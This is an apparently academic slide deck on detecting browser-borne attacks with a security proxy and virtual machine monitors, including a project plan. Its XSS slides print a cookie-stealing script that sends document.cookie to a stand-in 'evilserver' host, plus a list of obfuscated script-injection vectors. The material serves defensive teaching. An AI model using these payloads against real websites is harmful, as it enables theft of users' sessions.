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Detection of Attacks with Proxy-based Execution. Alex Kiaie, Benjamin Prosnitz, Yi Tang, Yinzhi Cao. Outline. Problem to solve Existing work and background Our solution Task completed and remaining plan. Web security problem.
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Detection of Attackswith Proxy-based Execution Alex Kiaie, Benjamin Prosnitz, Yi Tang, Yinzhi Cao
Outline • Problem to solve • Existing work and background • Our solution • Task completed and remaining plan.
Web security problem • In the last few years, the popularity of web-based applications has grown tremendously. One key technology used in interactive web applications is JavaScript. • The automatic execution of JavaScript code provided by the remote server may represent a possible vector for attack on the end-user’s computing environment.
Outline • Problem to solve • Background and Existing work • Background • Existing work • Our solution • Task completed and remaining plan.
Classification of Attacks • Intra-Browser • Changes browser state or steals information • Out of Browser • Infects system
Intra-Browser Attacks XSS (Cross-Site Scripting) steals information across protection domains Browser extensions which secretly send of parts of viewed pages We don’t aim to prevent these with our solution
Attacks on the System through the Browser • Exploits: • Javascript engine bugs • Plug-in vulnerabilities (Java, Flash, etc) • Installation of malicious, but signed, plug-ins • Goals: • Execution of arbitrary code • “Drive-by-download” installation of malware
Trend of web security attack 1 Cross-site scripting(XSS) vulnerability occupies the top most position Top 10 web application vulnerabilities for 2006 from Source: OWASP(Open Web Application Security Project ) Report
Trend of web security attack 2 Increasing trend in web application security vulnerabilities over a period of six years from CVE( Common Weakness Enumeration)
XSS attacks • In Cross-site Scripting (XSS) attack, an attacker forces a client, typically a web browser, to execute attacker-supplied executable code, typically JavaScript code, which runs in the context of a trusted web site
XSS: Two kinds • Two general methods for injecting malicious code into web page that is displayed to the user • stored XSS: the attacker persistently stores the malicious code in a resource managed by the web application. such as a database <imgsrc="image.jpg"> <script> document.images[0].src = "http://evilserver/image.jpg?stolencookie=" >+ document.cookie; </script> • reflected XSS: the attack script is not persistently stored, but, instead, it is immediately “reflected” back to the user http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>
Stored XSS:Moredifficult to be detected and more harmful for Internet. Embeds a script contained in a separate file 1. <html><head> 2. <script src="a.js"></script> 3. <script> ... </script> 4. <script for=foo event=onmouseover> ... </script> 5. <style>.bar{background-image:url("javascript:alert(’JavaScript’)");}</style> 6. </head> 7. <body onload="alert(’JavaScript’)"> 8. <img id=foo src="image.jpg"> 9. <a class=bar></a> 10. <div style="background-image: url(javascript:alert(’JavaScript’))">...</div> 11. <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(’XSS’);">]]> 12. <meta http-equiv="refresh" content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> 13. <img src=javascript:alert('XSS')> 14. <img src=javascript:alert("3")> 15. </body></html> background elements will be obtained by executing a script. an event handler script in XML script can be broken across multiple CDATA sections an element that uses an inline CSS style to invoke a script URL is the base64 encoding of a javascript:URL URL has been character encoded HTML entity encoding to hide quote characters in a script
Why difficult to detect • 1. Signatures for application vulnerability are based on the applications which are commonly used. One signature can cover a vulnerability a lot of servers may have. However, each website has its own code, and corresponding vulnerability. • 2. Script vulnerabilities are not easy to describe by signature, because it has many subtleties and variants. • 3. Sometimes, it is not a vulnerability of the website. The attack may have compromise this website and change the web page by append its own malicious code without web master’s attention.
Current method • A comprehensive research on web security, particularly in cross site scripting started around 2001. Categories of solutions are based on the • Location :client side ,server side, third part check point • Analysis type: static, dynamic, taint, alias, data flow, source code, control flow graph. • Technique: crawling, reverse engineering, black box testing, proxy server. • Intrusion detection type: anomaly, misuse, automatic, multimodal.
VMMs for Security • Run software within a sandbox • Filter system calls made and interactions with the system • Full access to the OS’s state VM w/ Guest OS Browser VMM
Detecting Attacks with VMMs Memory Inspection (Garfinkel ‘03) • Uses Mission Critical’scrash utility to acquire state (crash normally reads /dev/kmem) • Detection Strategies: • Verify binaries have not been modified • Scanfilesystemforsignatures • Identify sniffers by checking for raw socket use • Query the system within the virtual machine and verify the integrity of the response (does pslie?) • Feed into policy engine
Detecting Attacks with VMMs Injecting Sensors into Kernel (Asrigo ‘06) • Dynamically rewrites kernel code to include sensors • Monitors: • Arguments passed to programs • Redirecting of streams (hijacking of resources) • Modifications of filesystem • Sockets listening to unauthorized ports
Outline • Problem to solve • Existing work and background • Our solution • Motivation • Our System • Task completed and remaining plan.
Motivation • Security Proxy is a security device deployed on Internet to detect the attack. The advance of security proxy is: • It can access all the traffic coming in and out the server. • If one web is detected as containing malware code, proxy is easy to block this page or site. • Proxy can project both sides by filtering the input and output of server.
What we want to do 1. Implement a detection system for malicious script code on proxy. 2. Design a script filter to filter out as much as possible benign traffic. 20/50
Spyproxy Safe Test A proxy that sits between the user and the web and: - Loads web pages before the client does to detect attacks
Our System We modify the javascript sent to the user to provide the proxy with events to test We filter script files rather than entire web pages Proxy VMM Operating System User’s Browser Browser Modified Page with Hooks Page w/ Hooks Page Page Events to Test
Comparison with SpyProxy • SpyProxy performs similar functionality • Web proxy that runs pages in virtual machine • Build a whitelist/blacklist for pages • Our work improves on this by: • Using feedback from user to trigger exploits • Build a whitelist/blacklist for scripts
Script code Filter • Observation for the script code: • 1. unique script code segment is far less than the script code segments. Website will reuse script code. • 2. script code will not change even the webpage is dynamically changed. Such as the first page of cnn. • 3. script code of big size has fewer modification probability 24/50 What filter for: • 1. when packets first come, construct a whitelist for its script code segment. • 2. Next time this script code appears, we can decide whether it will be scanned by virtual machine.
Outline • Problem to solve • Existing work and background • Your solution, including the VMM system • Task completed and remaining plan.
Tasks completed • Investigation of Related Topics • Web-plugin vulnerabilities • Webpage modification attacks • Design of defense systems • Our web proxy (in previous slide) • Attack detection and rollbacking with transactional memory • Get script codes from crawled web pages
Time plan • Week 7 and 8: Acquire SpyProxy and deploy it • Week 9: Analyze the script code for the filter to build a scalable proxy. • Week 10: Preparation for the final report and presentation